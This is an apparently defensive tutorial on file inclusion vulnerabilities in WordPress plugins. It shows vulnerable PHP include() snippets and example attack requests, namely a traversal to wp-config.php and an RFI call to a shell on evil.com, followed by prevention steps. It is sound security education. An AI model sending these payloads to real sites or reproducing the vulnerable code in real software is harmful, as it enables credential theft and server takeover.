File Inclusion Vulnerabilities in WordPress: LFI and RFI Explained

Table of Contents 4 sections

What Are File Inclusion Vulnerabilities?

File inclusion vulnerabilities occur when an application dynamically includes files based on user-controlled input without proper validation. There are two types:

• Local File Inclusion (LFI) — Reading or executing files already on the server
• Remote File Inclusion (RFI) — Including and executing files from an external server

In WordPress, these vulnerabilities most commonly appear in plugins and themes that use PHP's include(), require(), or file_get_contents() functions with unsanitized input.

Local File Inclusion (LFI)

LFI allows an attacker to read any file the web server has access to. This can expose critical information:

// Vulnerable plugin code
$template = $_GET['template'];
include("/wp-content/plugins/myplugin/templates/" . $template);

// Attacker request:
?template=../../../../wp-config.php

By using directory traversal (../), the attacker reads wp-config.php, which contains database credentials, authentication keys, and other secrets.

What Attackers Can Access via LFI

• wp-config.php — Database credentials, secret keys, table prefix
• /etc/passwd — System user accounts (Linux servers)
• .htaccess — Server configuration and rewrite rules
• Log files — Which may contain sensitive data or injectable content
• Other plugin/theme files — Source code that reveals more vulnerabilities

Remote File Inclusion (RFI)

RFI is more dangerous because it allows the attacker to execute their own code on your server:

// Vulnerable code
$page = $_GET['page'];
include($page . ".php");

// Attacker request:
?page=https://evil.com/shell

The server fetches and executes the attacker's PHP file, giving them full control. Note: RFI requires allow_url_include to be enabled in PHP, which is disabled by default in modern configurations.

Prevention Strategies

For Site Owners

1. Keep PHP updated — Modern PHP versions have allow_url_include disabled by default
2. Update plugins and themes — File inclusion vulnerabilities are regularly patched
3. Use a WAF — Firewalls can detect directory traversal patterns like ../
4. File permissions — Ensure wp-config.php is not readable by other users (chmod 400 or 440)
5. Disable directory listing — Add Options -Indexes to your .htaccess

For Developers

1. Never use user input in file paths — Use a whitelist of allowed templates
2. Use basename() — Strip directory traversal: $template = basename($_GET['template']);
3. Set open_basedir — Restrict PHP file access to the WordPress directory
4. Disable allow_url_include — In php.ini, ensure this is set to Off